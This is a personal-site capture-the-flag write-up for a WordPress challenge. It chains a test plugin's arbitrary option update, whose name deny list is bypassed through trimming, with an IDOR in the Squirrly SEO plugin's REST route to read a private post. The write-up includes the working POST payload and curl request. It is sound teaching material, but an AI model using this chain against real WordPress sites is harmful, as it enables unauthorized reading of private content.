siunam's Website

My personal website

Home Writeups Research Blog Projects About

Up To You

Table of Contents

Overview

Background

it's all up to you.

NOTE: This is a fully white box challenge, almost no heavy brute force is needed.

Enumeration

In this challenge, we can download a file:

┌[siunam♥Mercury]-(~/ctf/Patchstack-Alliance-CTF-S02E01/Up-To-You)-[2025.02.24|23:27:02(HKT)]
└> file attachment.zip 
attachment.zip: Zip archive data, at least v1.0 to extract, compression method=store
┌[siunam♥Mercury]-(~/ctf/Patchstack-Alliance-CTF-S02E01/Up-To-You)-[2025.02.24|23:27:03(HKT)]
└> unzip attachment.zip 
Archive:  attachment.zip
   creating: server-given/
  inflating: server-given/deploy.sh  
  inflating: server-given/Makefile   
  inflating: server-given/.DS_Store  
   creating: server-given/docker/
   creating: server-given/docker/wordpress/
   creating: server-given/docker/wordpress/toolbox/
  inflating: server-given/docker/wordpress/toolbox/Makefile  
   creating: server-given/docker/wordpress/toolbox/plugins/
   creating: server-given/docker/wordpress/toolbox/plugins/test-plugin/
  inflating: server-given/docker/wordpress/toolbox/plugins/test-plugin/test-plugin.php  
  inflating: server-given/docker/wordpress/toolbox/Dockerfile  
 extracting: server-given/Dockerfile  
  inflating: server-given/.env       
  inflating: server-given/docker-compose.yml  

Just like my writeup for the other challenges, we should first take a look at the docker/wordpress/toolbox/Makefile file:

[...]
$(WP_CLI) plugin activate test-plugin
$(WP_CLI) plugin install squirrly-seo --activate
$(WP_CLI) plugin install slim-seo --activate
$(WP_CLI) post create --post_type='post' --post_title='uptoyou' --post_content='$(FLAG_FLAG)' --post_status='private'

In here, the WordPress site is installed with plugins called test-plugin, squirrly-seo, and slim-seo. It also created a private post with the flag in its content.

Now, let's setup our own WordPress site and install those plugins!

In plugin test-plugin, it has this simple unauthenticated AJAX action called uptoyou with callback function uptoyou:

add_action("wp_ajax_nopriv_uptoyou", "uptoyou");

function uptoyou(){
    $option_name = $_POST["option_name"];
    $nope = array('users_can_register', 'auto_update_core_minor', 'auto_update_core_dev', 'upload_url_path', 'mailserver_pass', 'wp_user_roles', 'template', 'blog_public', 'html_type', 'sticky_posts', 'use_balanceTags', 'page_for_posts', 'permanent-links', 'hack_file', 'multisite', 'comment_max_links', 'mailserver_login', 'use_trackback', 'comments_per_page', 'default_pingback_flag', 'siteurl', 'enable_app', 'large_size_w', 'default_comments_page', 'default_comment_status', 'links', 'moderation_keys', 'sidebars_widgets', 'posts_per_page', 'links_updated_date_format', 'default_role', 'theme', 'advanced_edit', 'image_default_link_type', 'blogname', 'thumbnail_size_w', 'admin_email', 'enable_xmlrpc', 'rss_use_excerpt', 'require_name_email', 'comment_whitelist', 'medium_large_size_h', 'show_comments_cookies_opt_in', 'comment_order', 'use_balancetags', 'close_comments_for_old_posts', 'gzipcompression', 'use_smilies', 'upload_path', 'moderation_notify', 'close_comments_days_old', 'medium_size_w', 'show_on_front', 'reading', 'show_avatars', 'default_post_format', 'site_icon', 'comments_notify', 'adminhash', 'gmt_offset', 'rewrite_rules', 'rss_language', 'thread_comments_depth', 'permalink_structure', 'default_category', 'links_recently_updated_append', 'thread_comments', 'home', 'widget_categories', 'use_linksupdate', 'default_post_edit_rows', 'comment_moderation', 'start_of_week', 'wp_page_for_privacy_policy', 'date_format', 'widget_text', 'active_plugins', 'avatar_default', 'timezone_string', 'auto_update_core_major', 'default_ping_status', 'tag_base', 'media', 'widget_rss', 'general', 'time_format', 'large_size_h', 'others', 'embed_size_w', 'posts_per_rss', 'image_default_size', 'mailserver_url', 'fileupload_maxk', 'page_comments', 'links_recently_updated_time', 'thumbnail_size_h', 'page_on_front', 'uploads_use_yearmonth_folders', 'ping_sites', 'comment_registration', 'thumbnail_crop', 'medium_large_size_w', 'recently_edited', 'image_default_align', 'avatar_rating', 'links_recently_updated_prepend', 'new_admin_email', 'comments', 'embed_size_h', 'default_email_category', 'embed_autourls', 'stylesheet', 'blacklist_keys', 'https_detection_errors', 'medium_size_h', 'category_base', 'blogdescription', 'avatars', 'mailserver_port', 'default_link_category', 'secret', 'writing', 'blog_charset');

    if(!in_array($option_name, $nope)){
        update_option($option_name, wp_json_encode($_POST["option_value"]));
    }

    echo "option updated";
}

In this callback function, we have an arbitrary option update. However, there are some caveats.

First off, there is a list of blacklisted option names that we can't update. Fortunately, if we read the code of update_option, we can see that if $option is a scalar type (Either type int, float, string or bool), it'll remove space characters from the beginning and end of our option name via PHP function trim:

function update_option( $option, $value, $autoload = null ) {
    [...]
    if ( is_scalar( $option ) ) {
        $option = trim( $option );
    }
    [...]
}

Therefore, the blacklisted option names can be bypassed via a space character at the beginning or the end of our option name.

With that said, we should be able to update any options with any value? Well no, the value is a JSON string:

function uptoyou(){
    [...]
    update_option($option_name, wp_json_encode($_POST["option_value"]));
    [...]
}

So, we need to find options that allow JSON data in their value. To do so, we can setup our local WordPress site, and go to our MySQL database Docker container:

┌[siunam♥Mercury]-(~/ctf/Patchstack-Alliance-CTF-S02E01/Up-To-You)-[2025.02.25|10:53:08(HKT)]
└> docker container ls 
CONTAINER ID   IMAGE                               COMMAND                  CREATED          STATUS          PORTS                   [...]
696f4ad945a6   mysql:8.0.20                        "docker-entrypoint.s…"   15 minutes ago   Up 15 minutes   0.0.0.0:3306->3306/tcp, [::]:3306->3306/tcp, 33060/tcp                                     mysql-wpd            
┌[siunam♥Mercury]-(~/ctf/Patchstack-Alliance-CTF-S02E01/Up-To-You)-[2025.02.25|10:53:12(HKT)]
└> docker exec -it 696f4ad945a6 /bin/bash                                               
root@696f4ad945a6:/# 

And search for options that have the value of a valid JSON syntax, such as a JSON object ({"key":"value"}):

root@696f4ad945a6:/# mysql -umydbuser -pmydbpassword -Dmydbname
[...]
mysql> SELECT * FROM wp_options WHERE option_value LIKE '{"%';
[...]
+-----------+-------------+---------------------------------------------------------------+----------+
| option_id | option_name | option_value                                                  | autoload |
+-----------+-------------+---------------------------------------------------------------+----------+
|       161 | sq_options  | {"sq_version":"12.4.04","sq_api":"",[...],"sq_message":false} | auto     |
+-----------+-------------+---------------------------------------------------------------+----------+

Oh! Looks like option sq_options is using JSON data for its value!

If we search for this option name in our code editor, we can see that plugin squirrly-seo uses this option:

wp-content/plugins/squirrly-seo/config/config.php:

/* Define the record name in the Option and UserMeta tables */
defined( 'SQ_OPTION' ) || define( 'SQ_OPTION', 'sq_options' );

Hmm… I wonder how does this constant SQ_OPTION and option sq_options is being used.

Again, by searching for constant SQ_OPTION, we can see that class SQ_Classes_Helpers_DevKit method getOptions uses that constant. As the method name suggested, it fetches option sq_options and parse the JSON value into an associative array:

class SQ_Classes_Helpers_DevKit {
    [...]
    public static function getOptions() {
        if ( is_multisite() ) {
            self::$options = json_decode( get_blog_option( get_main_site_id(), SQ_OPTION ), true );
        } else {
            self::$options = json_decode( get_option( SQ_OPTION ), true );
        }

        return self::$options;
    }
}

Also, there's an exact same method name in class SQ_Classes_Helpers_Tools that does the exact same thing:

class SQ_Classes_Helpers_Tools
{
    [...]
    public static function getOptions($action = '')
    {
        [...]
        $options = json_decode(get_option(SQ_OPTION), true);
        [...]
        return $options;
    }
}

Similarly in both classes, they also have an exact same method called getOption, such as the following in class SQ_Classes_Helpers_Tools:

class SQ_Classes_Helpers_Tools
{
    [...]
    public static function getOption($key)
    {
        if (!isset(self::$options[$key])) {
            self::$options = self::getOptions();

            if (!isset(self::$options[$key])) {
                self::$options[$key] = false;
            }
        }

        return apply_filters('sq_option_' . $key, self::$options[$key]);
    }
}

In here, it gets the parsed JSON option sq_options's key by the provided key name.

Now, with that in mind, we can try to find all the registered AJAX actions and REST API routes, preferably unauthenticated.

If we recall, the challenge's WordPress site has a private post with a flag in it:

[...]
$(WP_CLI) post create --post_type='post' --post_title='uptoyou' --post_content='$(FLAG_FLAG)' --post_status='private'

So maybe we need to find an unauthenticated AJAX action or REST API route that read private posts?

If we search for WordPress function that register REST API routes, register_rest_route, we can see there are 4 unauthenticated REST API routes registered via class SQ_Controllers_Api method sqApiInit:

class SQ_Controllers_Api extends SQ_Classes_FrontController {
    [...]
    private $namespace = 'squirrly';
    [...]
    function sqApiInit() {
        if ( function_exists( 'register_rest_route' ) ) {

            register_rest_route( $this->namespace, '/indexnow/', array(
                    'methods'             => WP_REST_Server::EDITABLE,
                    'callback'            => array( $this, 'indexUrl' ),
                    'permission_callback' => '__return_true'
                ) );

            register_rest_route( $this->namespace, '/save/', array(
                    'methods'             => WP_REST_Server::EDITABLE,
                    'callback'            => array( $this, 'savePost' ),
                    'permission_callback' => '__return_true'
                ) );

            register_rest_route( $this->namespace, '/get/', array(
                    'methods'             => WP_REST_Server::READABLE,
                    'callback'            => array( $this, 'getData' ),
                    'permission_callback' => '__return_true'
                ) );

            register_rest_route( $this->namespace, '/test/', array(
                    'methods'             => WP_REST_Server::EDITABLE,
                    'callback'            => array( $this, 'testConnection' ),
                    'permission_callback' => '__return_true'
                ) );
                [...]
            }
        }
    }
}

In REST API route /squirrly/get/ with GET method, it has a callback method getData. In this callback method, we can read any posts we want:

class SQ_Controllers_Api extends SQ_Classes_FrontController {
    [...]
    public function getData( WP_REST_Request $request ) {
        [...]
        $select = $request->get_param( 'select' );

        switch ( $select ) {
            case 'post':
                $id = (int) $request->get_param( 'id' );
                [...]
                //get Squirrly SEO post metas
                if ( $post = SQ_Classes_ObjController::getClass( 'SQ_Models_Snippet' )->setPostByID( $id ) ) {
                    $response = $post->toArray();
                }
    
                break;
        }
        echo wp_json_encode( $response );
        [...]
    }
}

This is because the callback method and method setPostByID in class SQ_Models_Snippet didn't validate the post's status is private or draft, is password protected, and more. Therefore, this callback method is vulnerable to IDOR (Insecure Direct Object Reference):

class SQ_Models_Snippet {
    [...]
    public function setPostByID( $post = 0 ) {

        if ( ! $post instanceof WP_Post && ! $post instanceof SQ_Models_Domain_Post ) {
            $post_id = (int) $post;
            if ( $post_id > 0 ) {
                $post = get_post( $post_id );
            }
        }

        if ( $post ) {
            if ( isset( $post->post_type ) ) {
                set_query_var( 'post_type', $post->post_type );
            }
            $post = SQ_Classes_ObjController::getClass( 'SQ_Models_Frontend' )->setPost( $post )->getPost();

            return $post;
        }

        return false;
    }
}

However, before we can get the post, it also checks the API token:

class SQ_Controllers_Api extends SQ_Classes_FrontController {
    [...]
    public function getData( WP_REST_Request $request ) {
        [...]
        //get the token from API
        $token = $request->get_param( 'token' );
        if ( $token <> '' ) {
            $token = sanitize_text_field( $token );
        }

        if ( ! $this->token || $this->token <> $token ) {
            exit( wp_json_encode( array( 'error' => esc_html__( "Connection expired. Please try again.", 'squirrly-seo' ) ) ) );
        }
        [...]
    }
}

Luckily, this token check can be bypassed.

But before we exploit this vulnerability, we should figure out how this REST API route is registered. Since this route is registered via method sqApiInit, we need to know how this method is being called. Turns out, this method is called via rest_api_init hook, which is called via hookInit:

class SQ_Controllers_Api extends SQ_Classes_FrontController {
    [...]
    public function hookInit() {

        if ( SQ_Classes_Helpers_Tools::getOption( 'sq_api' ) == '' ) {
            return;
        }

        if ( ! SQ_Classes_Helpers_Tools::getOption( 'sq_cloud_connect' ) ) {
            return;
        }

        $this->token = SQ_Classes_Helpers_Tools::getOption( 'sq_cloud_token' );

        //Change the rest api if needed
        add_action( 'rest_api_init', array( $this, 'sqApiInit' ) );
    }
}

Before it calls callback method sqApiInit, it has 2 checks, which checks the option's array key sq_api and sq_cloud_connect must not be falsy (Loose comparison). Also, remember the API token? In here, it sets the token attribute to the option's array key sq_cloud_token's value.

Luckily, we can leverage the arbitrary option update in test-plugin to pass those checks.

Exploitation

Armed with above information, we can get the flag via the following requests:

First, update option sq_options's JSON attribute sq_api and sq_cloud_connect to be an non-fasly value, and update sq_cloud_token to any string via arbitrary option update in test-plugin's AJAX action uptoyou:

POST / HTTP/1.1
Host: 52.77.81.199:9177
Content-Type: application/x-www-form-urlencoded
Content-Length: 135

action=uptoyou&option_name=sq_options&option_value[sq_api]=anything&option_value[sq_cloud_connect]=1&option_value[sq_cloud_token]=token

Then, we can get the private flag post via REST route /squirrly/get/. Note that the token parameter's value must match to the updated one. In my case, the API token is string token:

┌[siunam♥Mercury]-(~/ctf/Patchstack-Alliance-CTF-S02E01/Up-To-You/server-given/docker/wordpress/toolbox/plugins)-[2025.02.26|20:52:14(HKT)]
└> curl -s --get http://52.77.81.199:9177/ --data 'rest_route=/squirrly/get/&token=token&select=post&id=5' | jq -r '.["post_content"]' | tr -d '"'
CTF{up_to_you_how_to_get_the_flag_7cdd34392012dd}

Conclusion

What we've learned:

  1. Read arbitrary posts via chaining with arbitrary option update and IDOR